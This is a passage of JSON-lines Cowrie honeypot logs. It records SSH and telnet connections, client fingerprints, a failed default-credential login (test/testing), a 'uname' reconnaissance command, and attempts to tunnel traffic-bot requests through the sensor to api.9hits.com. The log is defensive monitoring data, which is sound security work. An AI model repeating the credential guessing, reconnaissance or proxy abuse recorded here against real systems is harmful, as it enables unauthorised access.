RqGHoDJUL%2FJhVVKZ3VdsbJsudyx4Qj6f95W5p51lcMPh5yWeL4DZhDWcL2AqKwh9ucBodBmChsePVplXn7fAUKzV5LcuvcEj64Hr3HuaPn6tC8GZ3nt%2BE7eqA%2BJmOteHDsyqyUIDz9ijx1nZaRxwLRZKVja27pOKeeT6OZDlfWQ8YtYz%2FxDJeyjWJfSXccrLbj7X%2FSWhJMFfa16%2FTow5H3dBi9nsNfOGu9y%2BDnCbYCsgzPbMBHKFx3nqT77VNEw6xIRNNl8W8CqYY8jg26Fgvz9sL0A3ztd8TeAs5NkSrBAWZUOCyxRNzAa%2Fc9xi0029vnWkdLTyzP2BFR6000Scscf28sQa74m3grISfTGLwyIDwh05JULh1P6z3UOKFTuQf%2BTksd164BJBPQZ9KUAT8Gp74P5CCaBtNCGvFRRve3t%2FIogCaHbVGOEAjcaLIQKGJzhzYIsD0pitB%2FLbz1yg3H8I3'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_3_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=e15IOGx0WXFYKT94P357Zw%3D%3DnLbezA%2FeCB3MBYHrnNmOsuJVWRGzNJNLanhdSh2IwE2QJUs%2F72ZsbHZ5504O1KuwaHoOwEKOe4BQw%2FUmZYH5gS8JUXHcoI7Zh96XUTJWlkrOyIrNC8UQ6qA%2BWta41vUjO7jVNGCI0LFyB%2FEkl5R4Kbz6qoD1N7U%2FQXXSEWc6XyJexmdzaF2SUsWfslbnuSER3pgmuD5BeErq4EPUL%2FfumEOfH8u%2B7D36vRQD1jqa827xfVXI7fzrBAUa1UEuayk4WezyPeKEPyksjA%2Fu6gNv3IEI2Bkfz5IWs3tRr6ZVzJW7YXTFZMSQgXkG%2FrMf9D6w%2FEUB73VAl89Lw3ajx%2FsdnjcfKOYLYAdnoL9U8Pi6p5xQfUq9cp1UfEol2xkRkdDb7yksNJ5iP8AyEIKfjBKKf1Pn7PWq%2BT8z6i%2FVu2an1Cr9XmAPmEboWHqfaEnps83bgnhJ%2BAwjBHXoWwzEvNZTr1hbzSdSCJkjlnNkwXOEIsgGQPmhFAXbd8oB%2FDtvvcpJN2MDogzI4iYI8Q5xNRGw4sWdFJTHayy7S0Dgw00k2X%2BOrNP%2FcIp1Uy%2B8wsXyzhq96Sk%2BTt9RTsqMfIBZmLSRntmu1rLUEM3sWxaXTwuRqGHoDJUL%2FJhVVKZ3VdsbJsudyx4Qj6f95W5p51lcMPh5yWeL4DZhDWcL2AqKwh9ucBodBmChsePVplXn7fAUKzV5LcuvcEj64Hr3HuaPn6tC8GZ3nt%2BE7eqA%2BJmOteHDsyqyUIDz9ijx1nZaRxwLRZKVja27pOKeeT6OZDlfWQ8YtYz%2FxDJeyjWJfSXccrLbj7X%2FSWhJMFfa16%2FTow5H3dBi9nsNfOGu9y%2BDnCbYCsgzPbMBHKFx3nqT77VNEw6xIRNNl8W8CqYY8jg26Fgvz9sL0A3ztd8TeAs5NkSrBAWZUOCyxRNzAa%2Fc9xi0029vnWkdLTyzP2BFR6000Scscf28sQa74m3grISfTGLwyIDwh05JULh1P6z3UOKFTuQf%2BTksd164BJBPQZ9KUAT8Gp74P5CCaBtNCGvFRRve3t%2FIogCaHbVGOEAjcaLIQKGJzhzYIsD0pitB%2FLbz1yg3H8I3'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:10.224779Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:10.494354Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcf\\xf42r\\x96\\x04\\xe7k\\x84V\\xb4\\x18\\xdcz\\xae\\xf0\\x9c\\xf5\\x19X\\xd4i'C\\xdd\\x9c\\x8ae\\xa0a\\xe0\\x0f \\x8bE=fn?9\\xf9bg*r}\\xc2x\\xdd\\xeb1:u \\xab4\\xe0\\x94\\xd7\\x9a\\xc4\\x9f\\x00.\\x8b\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 G\\xe2Y'\\xe2\\xe0\\x90\\xfc\\n\\xfe(\\x97\\xda:\\xb0\\xd9B\\x88\\x99\\xc7\\x0b\\x90o\\xf6\\x80\\xcb9\\x969\\x9b\\xa7\\x12\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xcf\\xf42r\\x96\\x04\\xe7k\\x84V\\xb4\\x18\\xdcz\\xae\\xf0\\x9c\\xf5\\x19X\\xd4i'C\\xdd\\x9c\\x8ae\\xa0a\\xe0\\x0f \\x8bE=fn?9\\xf9bg*r}\\xc2x\\xdd\\xeb1:u \\xab4\\xe0\\x94\\xd7\\x9a\\xc4\\x9f\\x00.\\x8b\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 G\\xe2Y'\\xe2\\xe0\\x90\\xfc\\n\\xfe(\\x97\\xda:\\xb0\\xd9B\\x88\\x99\\xc7\\x0b\\x90o\\xf6\\x80\\xcb9\\x969\\x9b\\xa7\\x12\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:10.497360Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:11.042042Z","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:11.323039Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\x95\\x1c`:\\xf5\\xd5^\\x1a\\x8c*\\xdc4\\x90\\x14_$\\xdbg\\x08\\xb4QJ\\xd1\\x08\\xe1\\xe7\\x82\\xd0\\x0e\\xbd\\xd4 5w\\x89)\\x81\\x05E3\\xf1\\xday\\xff\\xdf\\x0e;\\xab_\\xd7OM~\\xfd\\xcb\\xa2\\xf7\\xeb\\xae\\x15\\xb9il\\xe6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\xeb9}\\xba\\xad,\\xeaD\\xfc\\x19\\xb8\\xe8.\\x94\\x94Ki;>\\xfc>\\x0f\\x90\\xdeL-\\x98\\x95bbZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\x95\\x1c`:\\xf5\\xd5^\\x1a\\x8c*\\xdc4\\x90\\x14_$\\xdbg\\x08\\xb4QJ\\xd1\\x08\\xe1\\xe7\\x82\\xd0\\x0e\\xbd\\xd4 5w\\x89)\\x81\\x05E3\\xf1\\xday\\xff\\xdf\\x0e;\\xab_\\xd7OM~\\xfd\\xcb\\xa2\\xf7\\xeb\\xae\\x15\\xb9il\\xe6\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd9\\xeb9}\\xba\\xad,\\xeaD\\xfc\\x19\\xb8\\xe8.\\x94\\x94Ki;>\\xfc>\\x0f\\x90\\xdeL-\\x98\\x95bbZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:11.326073Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:11.669773Z","src_ip":"91.92.40.36","session":"c76708ff4b05","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:11.673481Z","src_ip":"91.92.40.36","session":"c76708ff4b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:11.730752Z","src_ip":"113.164.152.20","session":"4149606ea865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32598,"dst_ip":"159.203.135.109","dst_port":22,"session":"36fab92d7b3a","protocol":"ssh","message":"New connection: 91.92.40.36:32598 (159.203.135.109:22) [session: 36fab92d7b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:12.463763Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:12.560921Z","src_ip":"91.92.40.36","session":"c76708ff4b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:12.565866Z","src_ip":"91.92.40.36","session":"c76708ff4b05","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:13.008774Z","src_ip":"91.92.40.36","session":"36fab92d7b3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:13.013365Z","src_ip":"91.92.40.36","session":"36fab92d7b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58446,"dst_ip":"159.203.135.109","dst_port":23,"session":"76724b43b57c","protocol":"telnet","message":"New connection: 172.81.62.90:58446 (159.203.135.109:23) [session: 76724b43b57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:14.266234Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"testing","message":"login attempt [test/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:15.311598Z","src_ip":"91.92.40.36","session":"36fab92d7b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:17.094444Z","src_ip":"91.92.40.36","session":"36fab92d7b3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38470,"dst_ip":"159.203.135.109","dst_port":22,"session":"83c4c0ee12be","protocol":"ssh","message":"New connection: 91.92.40.36:38470 (159.203.135.109:22) [session: 83c4c0ee12be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:19.542368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:20.540484Z","src_ip":"91.92.40.36","session":"83c4c0ee12be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:20.543955Z","src_ip":"91.92.40.36","session":"83c4c0ee12be","protocol":"ssh"}
